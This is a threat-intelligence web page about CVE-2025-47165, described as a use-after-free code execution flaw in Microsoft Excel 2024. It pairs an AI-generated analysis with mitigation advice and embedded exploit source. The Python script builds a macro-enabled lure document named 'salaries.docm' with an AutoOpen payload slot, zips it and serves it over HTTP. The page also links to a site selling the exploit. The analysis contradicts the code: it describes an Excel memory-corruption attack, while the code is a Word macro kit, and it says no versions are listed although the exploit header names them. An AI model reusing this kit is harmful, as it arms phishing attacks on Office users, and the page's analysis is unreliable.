Microsoft Excel 2024 Use after free - Remote Code Execution (RCE)
Microsoft Excel 2024 Use after free - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The reported security threat concerns a use-after-free vulnerability in Microsoft Excel 2024 that enables remote code execution (RCE). Use-after-free vulnerabilities occur when a program continues to use a pointer to memory after it has been freed, potentially allowing attackers to execute arbitrary code by manipulating the program's memory management. In this case, the vulnerability exists within Microsoft Excel 2024, a widely used spreadsheet application. Exploiting this flaw would allow an attacker to craft a malicious Excel file that, when opened by a victim, triggers the use-after-free condition, enabling the attacker to execute arbitrary code remotely on the victim's system without requiring prior authentication or user interaction beyond opening the file. The exploit code is publicly available and written in Python, indicating that proof-of-concept or weaponized scripts exist to demonstrate or facilitate exploitation. Although no specific affected versions are listed, the vulnerability is tied to the 2024 release of Microsoft Excel, suggesting it affects the latest version or builds around that timeframe. No official patches or mitigations have been linked yet, and no known exploits in the wild have been reported at the time of publication. Given the critical severity and the nature of the vulnerability, this represents a significant risk to users of Microsoft Excel 2024, especially in environments where untrusted Excel files may be opened.
Potential Impact
For European organizations, this vulnerability poses a substantial risk due to the widespread use of Microsoft Office products, including Excel, across both private and public sectors. Successful exploitation could lead to full system compromise, allowing attackers to steal sensitive data, deploy ransomware, or move laterally within networks. This is particularly concerning for sectors such as finance, government, healthcare, and critical infrastructure, where Excel is heavily used for data analysis and reporting. The remote code execution capability without authentication or complex prerequisites increases the likelihood of targeted attacks and broad phishing campaigns leveraging malicious Excel documents. Additionally, the lack of a patch at the time of disclosure means organizations remain exposed until mitigations or updates are released. The presence of publicly available exploit code further elevates the threat, as it lowers the barrier for attackers to weaponize the vulnerability.
Mitigation Recommendations
Given the absence of official patches, European organizations should implement immediate compensating controls. These include disabling or restricting the use of macros and ActiveX controls within Excel, as these can be leveraged to trigger exploitation. Employ application whitelisting to prevent unauthorized execution of scripts and binaries. Use email filtering and sandboxing solutions to detect and block malicious Excel attachments before they reach end users. Educate users to avoid opening Excel files from untrusted or unexpected sources. Network segmentation and endpoint detection and response (EDR) tools should be enhanced to monitor for suspicious behaviors indicative of exploitation attempts. Organizations should also prepare to deploy patches promptly once Microsoft releases updates addressing this vulnerability. Finally, consider deploying Microsoft Office Protected View and enabling strict file validation settings to reduce the attack surface.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Belgium, Sweden, Poland, Ireland
Indicators of Compromise
- exploit-code: # Exploit Title: Microsoft Excel 2024 Use after free - Remote Code Execution (RCE) # Author: nu11secur1ty # Date: 06/24/2025 # Vendor: Microsoft # Software: https://www.microsoft.com/en/microsoft-365/excel?market=af # Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47165 # CVE: CVE-2025-47165 # Versions: Microsoft Office LTSC 2024 , Microsoft Office LTSC 2021, Microsoft 365 Apps for Enterprise # Description: The attacker can trick any user into opening and executing their code by sending a malicious DOCM file via email or a streaming server. After the execution of the victim, his machine can be infected or even worse than ever; this could be the end of his Windows machine! WARNING: AMPOTATE THE MACROS OPTIONS FROM YOUR OFFICE 365!!! #!/usr/bin/python import os import sys import pythoncom from win32com.client import Dispatch import http.server import socketserver import socket import threading import zipfile PORT = 8000 DOCM_FILENAME = "salaries.docm" ZIP_FILENAME = "salaries.zip" DIRECTORY = "." def create_docm_with_macro(filename=DOCM_FILENAME): pythoncom.CoInitialize() word = Dispatch("Word.Application") word.Visible = False try: doc = word.Documents.Add() vb_project = doc.VBProject vb_component = vb_project.VBComponents("ThisDocument") macro_code = ''' Sub AutoOpen() //YOUR EXPLOIT HERE // All OF YPU PLEASE WATCH THE DEMO VIDEO // Best Regards to packetstorm.news and OFFSEC End Sub ''' vb_component.CodeModule.AddFromString(macro_code) doc.SaveAs(os.path.abspath(filename), FileFormat=13) print(f"[+] Macro-enabled Word document created: {filename}") except Exception as e: print(f"[!] Error creating document: {e}") finally: doc.Close(False) word.Quit() pythoncom.CoUninitialize() def zip_docm(docm_path, zip_path): with zipfile.ZipFile(zip_path, 'w', compression=zipfile.ZIP_DEFLATED) as zipf: zipf.write(docm_path, arcname=os.path.basename(docm_path)) print(f"[+] Created ZIP archive: {zip_path}") def get_local_ip(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect(("8.8.8.8", 80)) ip = s.getsockname()[0] except Exception: ip = "127.0.0.1" finally: s.close() return ip class Handler(http.server.SimpleHTTPRequestHandler): def __init__(self, *args, **kwargs): super().__init__(*args, directory=DIRECTORY, **kwargs) def run_server(): ip = get_local_ip() print(f"[+] Starting HTTP server on http://{ip}:{PORT}") print(f"[+] Place your macro docm and zip files in this directory to serve them.") print(f"[+] Access the ZIP file at: http://{ip}:{PORT}/{ZIP_FILENAME}") with socketserver.TCPServer(("", PORT), Handler) as httpd: print("[+] Server running, press Ctrl+C to stop") httpd.serve_forever() if __name__ == "__main__": if os.name != "nt": print("[!] This script only runs on Windows with MS Word installed.") sys.exit(1) print("[*] Creating the macro-enabled document...") create_docm_with_macro(DOCM_FILENAME) print("[*] Creating ZIP archive of the document...") zip_docm(DOCM_FILENAME, ZIP_FILENAME) print("[*] Starting HTTP server in background thread...") server_thread = threading.Thread(target=run_server, daemon=True) server_thread.start() try: while True: pass # Keep main thread alive except KeyboardInterrupt: print("\n[!] Server stopped by user.") ``` # Reproduce: [href](https://www.youtube.com/watch?v=CSb76-OG-Tg) # Buy an exploit only: [href](https://satoshidisk.com/pay/COiBVA) # Time spent: 01:37:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/> -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstorm.news/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>
Microsoft Excel 2024 Use after free - Remote Code Execution (RCE)
Description
Microsoft Excel 2024 Use after free - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The reported security threat concerns a use-after-free vulnerability in Microsoft Excel 2024 that enables remote code execution (RCE). Use-after-free vulnerabilities occur when a program continues to use a pointer to memory after it has been freed, potentially allowing attackers to execute arbitrary code by manipulating the program's memory management. In this case, the vulnerability exists within Microsoft Excel 2024, a widely used spreadsheet application. Exploiting this flaw would allow an attacker to craft a malicious Excel file that, when opened by a victim, triggers the use-after-free condition, enabling the attacker to execute arbitrary code remotely on the victim's system without requiring prior authentication or user interaction beyond opening the file. The exploit code is publicly available and written in Python, indicating that proof-of-concept or weaponized scripts exist to demonstrate or facilitate exploitation. Although no specific affected versions are listed, the vulnerability is tied to the 2024 release of Microsoft Excel, suggesting it affects the latest version or builds around that timeframe. No official patches or mitigations have been linked yet, and no known exploits in the wild have been reported at the time of publication. Given the critical severity and the nature of the vulnerability, this represents a significant risk to users of Microsoft Excel 2024, especially in environments where untrusted Excel files may be opened.
Potential Impact
For European organizations, this vulnerability poses a substantial risk due to the widespread use of Microsoft Office products, including Excel, across both private and public sectors. Successful exploitation could lead to full system compromise, allowing attackers to steal sensitive data, deploy ransomware, or move laterally within networks. This is particularly concerning for sectors such as finance, government, healthcare, and critical infrastructure, where Excel is heavily used for data analysis and reporting. The remote code execution capability without authentication or complex prerequisites increases the likelihood of targeted attacks and broad phishing campaigns leveraging malicious Excel documents. Additionally, the lack of a patch at the time of disclosure means organizations remain exposed until mitigations or updates are released. The presence of publicly available exploit code further elevates the threat, as it lowers the barrier for attackers to weaponize the vulnerability.
Mitigation Recommendations
Given the absence of official patches, European organizations should implement immediate compensating controls. These include disabling or restricting the use of macros and ActiveX controls within Excel, as these can be leveraged to trigger exploitation. Employ application whitelisting to prevent unauthorized execution of scripts and binaries. Use email filtering and sandboxing solutions to detect and block malicious Excel attachments before they reach end users. Educate users to avoid opening Excel files from untrusted or unexpected sources. Network segmentation and endpoint detection and response (EDR) tools should be enhanced to monitor for suspicious behaviors indicative of exploitation attempts. Organizations should also prepare to deploy patches promptly once Microsoft releases updates addressing this vulnerability. Finally, consider deploying Microsoft Office Protected View and enabling strict file validation settings to reduce the attack surface.
For access to advanced analysis and higher rate limits, contact root@offseq.com
Technical Details
- Edb Id
- 52343
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Microsoft Excel 2024 Use after free - Remote Code Execution (RCE)
# Exploit Title: Microsoft Excel 2024 Use after free - Remote Code Execution (RCE) # Author: nu11secur1ty # Date: 06/24/2025 # Vendor: Microsoft # Software: https://www.microsoft.com/en/microsoft-365/excel?market=af # Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47165 # CVE: CVE-2025-47165 # Versions: Microsoft Office LTSC 2024 , Microsoft Office LTSC 2021, Microsoft 365 Apps for Enterprise # Description: The attacker can trick any user into opening and executing th... (4085 more characters)
Threat ID: 685cf038be005fe9be6e5a54
Added to database: 6/26/2025, 7:01:12 AM
Last enriched: 7/16/2025, 9:24:13 PM
Last updated: 7/30/2025, 4:21:05 PM
Views: 64
Related Threats
Over 200 Malicious Open Source Packages Traced to Lazarus Campaign
HighBrowser Extensions Can Exploit ChatGPT, Gemini in ‘Man in the Prompt’ Attack
HighShinyHunters behind Salesforce data theft attacks at Qantas, Allianz Life, and LVMH
HighNew Critical CrushFTP CVE-2025-54309 RCE Explained + PoC
CriticalCritical Dahua Camera Flaws Enable Remote Hijack via ONVIF and File Upload Exploits
CriticalActions
Updates to AI analysis are available only with a Pro account. Contact root@offseq.com for access.
External Links
Need enhanced features?
Contact root@offseq.com for Pro access with improved analysis and higher rate limits.